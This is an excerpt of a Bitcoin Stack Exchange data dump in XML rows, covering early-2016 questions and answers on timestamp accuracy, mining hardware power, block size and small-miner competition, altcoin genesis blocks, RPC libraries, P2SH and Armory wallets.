  <row Id="42116" PostTypeId="2" ParentId="42076" CreationDate="2016-01-02T11:59:26.887" Score="3" Body="&lt;p&gt;Yes, Bitcoin can act as a time-stamping authority. However, depending on your application the accuracy of the Bitcoin blocks may not be sufficient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nodes only reject blocks that are greater than 2 hours into the future, and blocks created earlier than the median time of the past 11 blocks. Therefore, timestamps may be off by several hours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;also see: &lt;a href=&quot;https://bitcoin.stackexchange.com/q/20479/5406&quot;&gt;How accurate is Bitcoin network time?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2016-01-02T11:59:26.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42117" PostTypeId="1" CreationDate="2016-01-02T13:27:09.813" Score="5" ViewCount="83" Body="&lt;p&gt;Now that is possible to lock funds until a certain date (&lt;a href=&quot;https://coinb.in/#newTimeLocked&quot;&gt;https://coinb.in/#newTimeLocked&lt;/a&gt;). How to calculate how many of all bitcoin in existence is locked until a certain date? Any service that does this?&lt;/p&gt;&#xA;" OwnerUserId="31624" LastEditorUserId="24925" LastEditDate="2016-01-05T10:57:58.313" LastActivityDate="2016-01-05T10:57:58.313" Title="Is it possible to determine the total amount of timelocked Bitcoin?" Tags="|blockchain|locktime|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42121" PostTypeId="2" ParentId="42038" CreationDate="2016-01-02T17:17:36.457" Score="2" Body="&lt;p&gt;Bitcoind's block directory was corrupted. (0.11.0)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After exhaustive testing, it turns out that bitcoind's block directory was in some way corrupted, and so even though everything indicated it was at the correct chain tip it was not serving blocks to peers without an explicit getblocks request. It would ignore getheaders requests, and not relay block inventories. A complete resync solved the problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The key was realizing that the same code could connect to foreign nodes without issue, and that during wireshark dumps the localnode never relayed  blocks onto the network at all.&lt;/p&gt;&#xA;" OwnerUserId="31471" LastActivityDate="2016-01-02T17:17:36.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42122" PostTypeId="1" AcceptedAnswerId="42124" CreationDate="2016-01-02T21:13:30.120" Score="2" ViewCount="2820" Body="&lt;p&gt;I'm planning to buy myself a Bitmain Antminer S7 Batch 9.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, the Bitmain PSU (APW3-12-1600-B2) is not available to me, and I need to replace it with a regular PSU from another shop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think S7 needs a 9 6pin PCI-E connector. I haven't seen a 9 6pin PSU ever. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which PSU could power my S7?&lt;/p&gt;&#xA;" OwnerDisplayName="user29589" LastEditorUserId="5406" LastEditDate="2016-01-02T21:29:52.550" LastActivityDate="2016-03-09T04:59:54.797" Title="What PSU to use with antminer s7" Tags="|mining-setup|antminer|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42123" PostTypeId="2" ParentId="41372" CreationDate="2016-01-02T23:37:21.733" Score="1" Body="&lt;p&gt;Unfortunately you didn't provide enough information:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Which OS?&lt;/li&gt;&#xA;&lt;li&gt;Version number of your Namecoin server?&lt;/li&gt;&#xA;&lt;li&gt;Does this Namecoin server run on your local machine? If not, how is it connected physically?&lt;/li&gt;&#xA;&lt;li&gt;Did you apply any command line params when starting the server?&lt;/li&gt;&#xA;&lt;li&gt;What is the content of your namecoin.conf file?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Generally speaking, the most common causes for RPC connection problems are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Mismatch of the provided data (rpcuser, rpcpassword, rpcport) with the contents of namecoin.conf&lt;/li&gt;&#xA;&lt;li&gt;Command line parameter &lt;em&gt;-server&lt;/em&gt; is missing&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="27267" LastEditorUserId="27267" LastEditDate="2016-01-02T23:50:13.020" LastActivityDate="2016-01-02T23:50:13.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42124" PostTypeId="2" ParentId="42122" CreationDate="2016-01-03T10:29:12.570" Score="1" Body="&lt;p&gt;You need 9X of the 6-pin PCI-e connections to make this work with your miner.  You need about 1350 watts for this to account for the ±10% requirements for nominal running, perhaps more if you plan to overclock it.  They also say not to run it with more than one PSU per board, that may be tricky, because I would have normally said to perhaps get a three CX750s to run or perhaps my juggernaut Evo 1500ewt. If you’re interested I’ve got a couple laying around.  Despite that… you would still need another one as my own PSU only has six available 20A connections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tUeLB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tUeLB.png&quot; alt=&quot;See the three little rows of white pins that&amp;#39;s where you connect the 12V psu connections! Don’t combine connections from psus on the same board or it could break your miner&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As @murch points out, if you have 1300 watts per device that means you have at least 450 with zero headroom. So if you split it, you need at least 500 watts with the proper headroom without considering overclocking all the way.&lt;/p&gt;&#xA;" OwnerUserId="5486" LastEditorUserId="5406" LastEditDate="2016-01-03T11:27:44.307" LastActivityDate="2016-01-03T11:27:44.307" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42126" PostTypeId="1" AcceptedAnswerId="42148" CreationDate="2016-01-03T16:38:24.370" Score="3" ViewCount="410" Body="&lt;p&gt;During the discussion of Bitcoin’s scalability, I’ve read the statement that &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Large miners benefit from larger block sizes, because it makes it more difficult for small miners to compete.&quot; &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/7230#issuecomment-165947911&quot; rel=&quot;nofollow&quot;&gt;[1]&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In the linked comment this is used as fact without explanation, but it isn’t obviously true at first glance. Please &lt;strong&gt;&lt;em&gt;explain&lt;/em&gt;&lt;/strong&gt;: Do larger blocks make it harder for smaller miners to compete? &lt;strong&gt;Why?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-01-03T16:45:38.200" LastActivityDate="2016-01-05T05:56:18.480" Title="Do larger blocks make it harder for smaller miners to compete? Why?" Tags="|scalability|block-size-increase|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42127" PostTypeId="2" ParentId="42126" CreationDate="2016-01-03T18:15:33.240" Score="1" Body="&lt;p&gt;Larger blocks take longer to propagate. However, when you have solved a block yourself, there is no delay (regardless of the size), because you already have all of the block data and have already checked it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, let's say a miner has 40% of the network hashing power. They solve 40% of the blocks. That means 40% of the time, they have essentially NO latency in starting to work on the next block, regardless of block size. Smaller miners who might mine 1% of the blocks have to wait for the latest block to be propagated to them 99% of the time. So the larger miner will be affected by block propagation delays 60% of the time, whereas the smaller miner is affected by block propagation delays 99% of the time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since mining operations with a smaller portion of the hash power are disadvantaged in this way, it can lead to decreased profits and encourages centralization into a few large pools. &lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2016-01-03T18:15:33.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42129" PostTypeId="1" CreationDate="2016-01-03T21:43:49.250" Score="1" ViewCount="311" Body="&lt;p&gt;I created a 2of3 wallet on Coinbase. I have 3 different xpub. I tried all 3 xpub on goochain.net but in all appear 0 balance. But I have 2 btc. How to monitor the 2of3 of Coinbase using xpub?&lt;/p&gt;&#xA;" OwnerUserId="31624" LastActivityDate="2016-01-03T21:43:49.250" Title="How to monitor 2of3 Coinbase Vault wallet using xpub" Tags="|coinbase.com|multi-signature|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42130" PostTypeId="1" CreationDate="2016-01-04T00:43:28.490" Score="2" ViewCount="102" Body="&lt;p&gt;BIP 50 describes the temporary steps taken to correct a chain split in March 2013. One of them was:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Limit the maximum block-size created to 500,000 bytes&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0050.mediawiki&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bips/blob/master/bip-0050.mediawiki&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen this commit, but it doesn't address block size limit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/commit/8bd02881899bbae2d8e5082081e02c7d577994e5&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/commit/8bd02881899bbae2d8e5082081e02c7d577994e5&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What was the actual commit that lowered the block size limit? Did the update merely adjust the soft limit miners use when generating blocks, or did it actually cause nodes to reject relayed blocks larger than 500K?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this may be relevant because if the latter is the case, it would represent a precedent for raising the block size limit. The limit was later automatically lifted (apparently).&lt;/p&gt;&#xA;" OwnerUserId="10845" LastActivityDate="2016-01-04T00:43:28.490" Title="What was the nature of the temporary 500K block size limit imposed by Bitcoin Qt 0.8.1?" Tags="|blocksize|block-size-increase|march-2013-fork|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42131" PostTypeId="1" CreationDate="2016-01-04T07:16:20.143" Score="1" ViewCount="222" Body="&lt;p&gt;Im a student at Sri Lanka institute of information technology and I am reading for cyber security BSc. I'm supposed to do a research project  with a group of four people within an year. We are preferring to do our research project in bitcoin domain.  We are supposed to come up with a software component which will address an existing issue in current bitcoin system. Please provide us with some opinions to come up with a valuable idea on our research project.&#xA;What is a good critical issue to address?&#xA;Any suggestions to address that issue?&#xA;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="31663" LastActivityDate="2016-01-04T07:16:20.143" Title="Looking for a Project Ideas" Tags="|bitcoin-core|development|cryptography|academic-research|project|" AnswerCount="0" CommentCount="2" ClosedDate="2016-01-04T14:30:56.847" ContentLicense="CC BY-SA 3.0" />
  <row Id="42133" PostTypeId="1" AcceptedAnswerId="42139" CreationDate="2016-01-04T07:27:39.300" Score="3" ViewCount="299" Body="&lt;p&gt;As far as I have read, I haven’t found a parallel algorithm to speed up Bitcoin mining. Are there any techniques that involve parallel or distributed algorithms, architectures that speed up Bitcoin mining ?&lt;/p&gt;&#xA;" OwnerUserId="31665" LastEditorUserId="5406" LastEditDate="2016-02-21T11:07:46.157" LastActivityDate="2016-02-21T11:07:46.157" Title="What parallel, distributed computational techniques can be used for Bitcoin mining?" Tags="|mining-theory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42134" PostTypeId="1" CreationDate="2016-01-04T07:59:06.887" Score="1" ViewCount="307" Body="&lt;p&gt;I'm starting with &lt;a href=&quot;https://github.com/jgarzik/python-bitcoinrpc&quot; rel=&quot;nofollow&quot;&gt;python-bitcoinrpc&lt;/a&gt; from J.Garzik.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using to try it the code provided by James D'Angelo (from Bitcoin 101 on youtube): &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apparently, there were some major changes with python-bitcoinrpc, not taken into account by old tutorial as the ones from James since you don't do now:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from bitcoinrpc.util import *&#xA;from bitcoinrpc.exceptions import *&#xA;from bitcoinrpc.__init__ import *&#xA;from bitcoinrpc.config import *&#xA;from bitcoinrpc.proxy import *&#xA;from bitcoinrpc.data import *&#xA;from bitcoinrpc.connection import *&#xA;&#xA;bitcoin = connect_to_local()&#xA;NEW_ADDRESS = bitcoin.getnewaddress()&#xA;print(NEW_ADDRESS)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But now:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from bitcoinrpc.authproxy import AuthServiceProxy&#xA;&#xA;access = AuthServiceProxy() &#xA;info = access.getinfo() # Not WORKING: info is None&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's okay for me, and very shorter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is to get &lt;code&gt;access.getinfo()&lt;/code&gt;to a variable? According to the README from python-bitcoinrpc, you can use the logging module to print stderr to the screen&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;logging.basicConfig()&#xA;logging.getLogger(&quot;BitcoinRPC&quot;).setLevel(logging.DEBUG)&#xA;&#xA;rpc_connection = AuthServiceProxy(&quot;http://%s:%s@127.0.0.1:8332&quot;%(rpc_user, rpc_password))&#xA;print(rpc_connection.getinfo())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But how do you put that into a variable??&#xA;Like with:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;info = access.getinfo()&lt;/code&gt;&#xA;(which is not working: &lt;code&gt;info&lt;/code&gt;is &lt;code&gt;None&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="31628" LastActivityDate="2016-03-05T12:44:34.593" Title="python-bitcoinrpc: only DEBUG available?" Tags="|python|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42135" PostTypeId="1" AcceptedAnswerId="42137" CreationDate="2016-01-04T08:01:41.780" Score="3" ViewCount="3874" Body="&lt;p&gt;I am trying to create a genesis block in twister-core using Ubuntu and IDE Qt Creator. I have compiled the twister-core successfully, I have changed the these parameters for creating the genesis block &lt;code&gt;pszTimestamp&lt;/code&gt;, &lt;code&gt;genesis.nTime&lt;/code&gt;   and  &lt;code&gt;genesis.nNonce&lt;/code&gt;. Then I re-compiled it successfully. When I am executing &lt;code&gt;twisterd&lt;/code&gt; in the terminal using this command &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./twisterd -rpcuser=user -rpcpassword=pwd -rpcallowip=127.0.0.1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this error occured:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Terminal Error :&lt;br&gt;&#xA;  Assertion `hashGenesisBlock == uint256(&quot;b24b7a9c568b4ae288c0be34699c4c79fc22848e7c346afd5f63901e41ed8640&quot;)' failed.&#xA;  Aborted (core dumped)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When I run it On Qt-Creator same error occur Error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;twisterd: ../twister/src/chainparams.cpp:216: CMainParams::CMainParams(): Assertion `hashGenesisBlock == uint256(&quot;b24b7a9c568b4ae288c0be34699c4c79fc22848e7c346afd5f63901e41ed8640&quot;)' failed.&lt;br&gt;&#xA;  The program has unexpectedly finished.&lt;br&gt;&#xA;  ../twister-qt-Output/twisterd exited with code 0&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Please help me to resolve this problem.&lt;/p&gt;&#xA;" OwnerUserId="31354" LastEditorUserId="5406" LastEditDate="2016-01-04T10:18:42.053" LastActivityDate="2018-09-22T14:01:05.367" Title="Problem In Creating Genesis Block Twister-Core using Ubuntu and (Qt Creator IDE)" Tags="|bitcoin-core-development|genesis-block|altcoin-development|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42136" PostTypeId="1" CreationDate="2016-01-04T08:49:36.107" Score="0" ViewCount="221" Body="&lt;p&gt;I am trying to connect to a bitcoin node using the ZMQ library for Java. the problem is that when I try to receive a response the code remains frozen. Returns nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public class CBETest {&#xA;&#xA;    private static final String TEST_URL = &quot;obelisk.airbitz.co&quot;;&#xA;&#xA;    public static void main(String[] args) {&#xA;&#xA;       System.out.println(&quot;\t--- ZMQ ---&quot;);&#xA;       Ctx c = zmq.ZMQ.createContext();&#xA;       SocketBase s = c.createSocket(zmq.ZMQ.ZMQ_DEALER);&#xA;&#xA;       zmq.ZMQ.connect(s, &quot;tcp://&quot;+TEST_URL+&quot;:9091&quot;);&#xA;       System.out.println(&quot;Connected!&quot;);&#xA;       int sent = zmq.ZMQ.send(s, &quot;blockchain.fetch_last_height&quot;, 0);&#xA;&#xA;       System.out.println(&quot;Sent: &quot; + sent);&#xA;       Msg msg = zmq.ZMQ.recv(s, 0);&#xA;       System.out.println(&quot;Response &quot; + Arrays.toString(msg.data()));&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code freezes in the line &lt;code&gt;Msg msg = zmq.ZMQ.recv(s, 0);&lt;/code&gt;. I am using the calls described &lt;a href=&quot;https://github.com/libbitcoin/libbitcoin-server/blob/master/doc/prot-sphinx/api.rst&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; for the full node implemetation. Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="27532" LastEditorUserId="2306" LastEditDate="2016-09-19T20:32:41.083" LastActivityDate="2016-09-19T20:32:41.083" Title="Library ZMQ to Java does not work" Tags="|client|api|java|full-node|zeromq|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42137" PostTypeId="2" ParentId="42135" CreationDate="2016-01-04T10:14:51.917" Score="2" Body="&lt;p&gt;&lt;code&gt;chainparams.cpp&lt;/code&gt; contains a line of code that checks whether the chain’s genesis block is equal to a specified hash. Since you created a new genesis block, you will have to update the value to your own hash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see an example for the line here: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; hashGenesisBlock = genesis.GetHash();&#xA; assert(hashGenesisBlock == uint256(&quot;9915158279673d101912be80f25c20627f1dd8bf5231e7c46bfec5ed19737f44&quot;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which I took from &lt;a href=&quot;https://github.com/miguelfreitas/twister-core/blob/master/src/chainparams.cpp#L216&quot; rel=&quot;nofollow&quot;&gt;miguelfreitas/twister-core/…/chainparams.cpp&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To figure out what to put there, you can print &lt;code&gt;genesis.GetHash()&lt;/code&gt; and replace the old hash in the assertion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To print it the hash of the genesis block, you can use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;printf(&quot;genesis.GetHash = %s\n&quot;, genesis.GetHash().ToString().c_str());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;just above the line with the assertion, which will write to the &lt;code&gt;~/.bitcoin/debug.log&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-01-04T12:09:08.707" LastActivityDate="2016-01-04T12:09:08.707" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="42138" PostTypeId="1" CreationDate="2016-01-04T10:45:04.937" Score="3" ViewCount="1540" Body="&lt;p&gt;What I have: bitcoind on Linux running.&#xA;What I want: to have insight api+ui local website running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Earlier it was possible to add insight querying your bitcoind. Now it seems they made some bitcore base for insight.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I install bitcore is it gonna replace bitcoind? How do they interact?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the best way to have local insight explorer running now?&lt;/p&gt;&#xA;" OwnerUserId="31669" LastEditorUserId="121614" LastEditDate="2021-12-27T16:42:10.663" LastActivityDate="2021-12-27T16:42:10.663" Title="Installing insight blockchain explorer - is bitcore mandatory?" Tags="|bitcore|blockchain-explorer|insight-api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42139" PostTypeId="2" ParentId="42133" CreationDate="2016-01-04T11:12:56.917" Score="2" Body="&lt;p&gt;The atomic operation of Bitcoin mining is determining if a block candidate resolves to a hash that fulfils the required difficulty. This operation is so simple, that it is being performed about 700 quadrillion times per second. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since mining is a random process, there is no progress towards a block. It just succeeds whenever a block candidate turns out to be a valid block. Therefore, beyond making sure that every participant in a mining pool is checking different block candidates, there is no collaboration on mining.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2016-01-04T11:12:56.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42140" PostTypeId="1" CreationDate="2016-01-04T17:28:24.070" Score="2" ViewCount="437" Body="&lt;p&gt;According to this example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Redeem Script: 2 PubKey1 PubKey2 PubKey3 PubKey4 PubKey5 5 OP_CHECKMULTISIG&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Locking Script: OP_HASH160 &amp;lt;20-byte hash of redeem script&gt; OP_EQUAL&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unlocking Script: Sig1 Sig2 redeem script&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to calculate the &lt;strong&gt;&amp;lt;20-byte hash of redeem script&gt;&lt;/strong&gt; with &lt;strong&gt;BitcoinJ&lt;/strong&gt; but i don't know how to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This &amp;lt;20-byte hash of redeem script&gt; is the result of :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RIPEMD160(SHA256(PubKey1.getPublicKeyAsHex() || PubKey2.getPublicKeyAsHex() || PubKey3.getPublicKeyAsHex() || PubKey4.getPublicKeyAsHex() || PubKey5.getPublicKeyAsHex())) or RIPEMD160(SHA256(&lt;strong&gt;input&lt;/strong&gt;))&lt;strong&gt;???&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;input&lt;/strong&gt; (which is String type) from above is the concatenation of each public key of all participants in the redeem script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;And if &amp;lt;20-byte hash of redeem script&gt; it is not the result that i mentioned above...how can i estimate this hash with BitcoinJ?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="31202" LastActivityDate="2016-01-04T17:28:24.070" Title="Creation of &lt;20-byte hash of redeem Script&gt; in a P2SH Transaction" Tags="|transactions|bitcoinj|p2sh|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42141" PostTypeId="1" AcceptedAnswerId="42315" CreationDate="2016-01-04T20:59:44.890" Score="2" ViewCount="152" Body="&lt;p&gt;Lets say a company like BitGo controls one key in a P2SH multisignature address, are they a custodian and subject to the bitlicense?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For enforcement, is it even possible to tell if someone is being a custodian if they use bitlicense?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any insight appreciated&lt;/p&gt;&#xA;" OwnerUserId="3047" LastActivityDate="2016-01-15T00:03:45.763" Title="Multisig and Bitlicense???? Can a business even be a custodian?" Tags="|multi-signature|bitlicense|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42142" PostTypeId="2" ParentId="36814" CreationDate="2016-01-04T23:59:40.950" Score="-1" Body="&lt;p&gt;I don't believe they are shooting straight - I have noticed strong emissions in the UHF and VHF ranges.&lt;/p&gt;&#xA;" OwnerUserId="31682" LastActivityDate="2016-01-04T23:59:40.950" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42143" PostTypeId="1" AcceptedAnswerId="42144" CreationDate="2016-01-05T01:12:02.823" Score="2" ViewCount="232" Body="&lt;p&gt;What advantages does Armory have over Bitcoin-Qt? Just better multisig support? Armory runs &lt;code&gt;bitcoind&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4334" LastActivityDate="2016-01-05T03:18:07.997" Title="What advantages does Armory have over Bitcoin-Qt?" Tags="|bitcoin-core|armory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42144" PostTypeId="2" ParentId="42143" CreationDate="2016-01-05T03:18:07.997" Score="2" Body="&lt;p&gt;Some obvious reasons:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Deterministic wallet (only need to store the seed, bitcoind's wallet uses a random number per address).&lt;/li&gt;&#xA;&lt;li&gt;Multisig support with lockboxes.&lt;/li&gt;&#xA;&lt;li&gt;Paper backups with SecurePrint.&lt;/li&gt;&#xA;&lt;li&gt;Fragmented backups (you need m of n pieces to get back your wallet)&lt;/li&gt;&#xA;&lt;li&gt;Offline signing for additional security&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There's also a lot more features that are on the way that we'll be announcing (Disclosure: I work for Armory)&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2016-01-05T03:18:07.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42145" PostTypeId="1" AcceptedAnswerId="42147" CreationDate="2016-01-05T04:29:30.400" Score="1" ViewCount="239" Body="&lt;p&gt;From source code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/** The block chain is a tree shaped structure starting with the&#xA; * genesis block at the root, with each block potentially having multiple&#xA; * candidates to be the next block. A blockindex may have multiple pprev pointing&#xA; * to it, but at most one of them can be part of the currently active branch.&#xA; */&#xA;class CBlockIndex&#xA;&#xA;&#xA;&#xA;&#xA;//! pointer to the index of the predecessor of this block&#xA;CBlockIndex* pprev;&#xA;&#xA;//! pointer to the index of some further predecessor of this block&#xA;CBlockIndex* pskip;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me understand the need for skip pointers, perhaps with a picture? Why should we track this? The comment says &lt;em&gt;some predecessor&lt;/em&gt; . When and where are these useful?&lt;/p&gt;&#xA;" OwnerUserId="30181" LastEditorUserId="30181" LastEditDate="2016-01-05T04:38:35.403" LastActivityDate="2016-01-05T20:03:26.227" Title="Understanding skip pointers in BlockIndex in bitcoin sources" Tags="|blockchain|bitcoind|bitcoin-core|consensus|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42147" PostTypeId="2" ParentId="42145" CreationDate="2016-01-05T05:34:02.817" Score="4" Body="&lt;p&gt;It is implenting a skiplist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every index node points to its immediate predecessor (pprev), and to some other predecessor that is further away (pskip). These skip pointers are used when we need to find a far predecessor quickly. One common case is when we need to find the 2016th ancestor of a block to recompute the target difficulty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of the skip pointers only go back a few blocks, but ocassionally one points back very far, allowing many nodes to be skipped.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2016-01-05T20:03:26.227" LastActivityDate="2016-01-05T20:03:26.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42148" PostTypeId="2" ParentId="42126" CreationDate="2016-01-05T05:56:18.480" Score="2" Body="&lt;p&gt;Yes. There are reasons at multiple different levels.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Propagation related.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;It takes time for a new found block to propagate around the world to all other miners. Bandwidth, network latency and validation times play a roll. It's also important to keep not just worst case numbers in mind, but even adversarial case. The average case isn't very relevant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So assume propagation takes 1 minute (bit extreme but not unheard of), that means that miners that hear about the block 1 minute after it was created, have just wasted 1 minute of hashing work on the wrong block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming all else equal this will happen to large and small miners. However a 30% large miner will NOT have that problem for 30% of the blocks (their own blocks). Small miners will only NOT have it for their own 1%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similar logic applies to orphan blocks: 2 new blocks found by different miners at the same time. A 30% miner has a good chance of finding another block on top of their own, while for a smaller miner (all else equal) that chance is negligible. Meaning smaller miners will have a higher orphan rate.&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Economies of scale related. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Almost by definition economies of scale are favouring larger players.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All kinds of discounts and better deals you can make when buying in bulk: equipment, electricity, accommodation, staff, security, DDOS protection, fast redundant internet connections... Pretty much everything you can get faster (latest technology) and cheaper when you're bigger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Economies of scale are sort of naturally 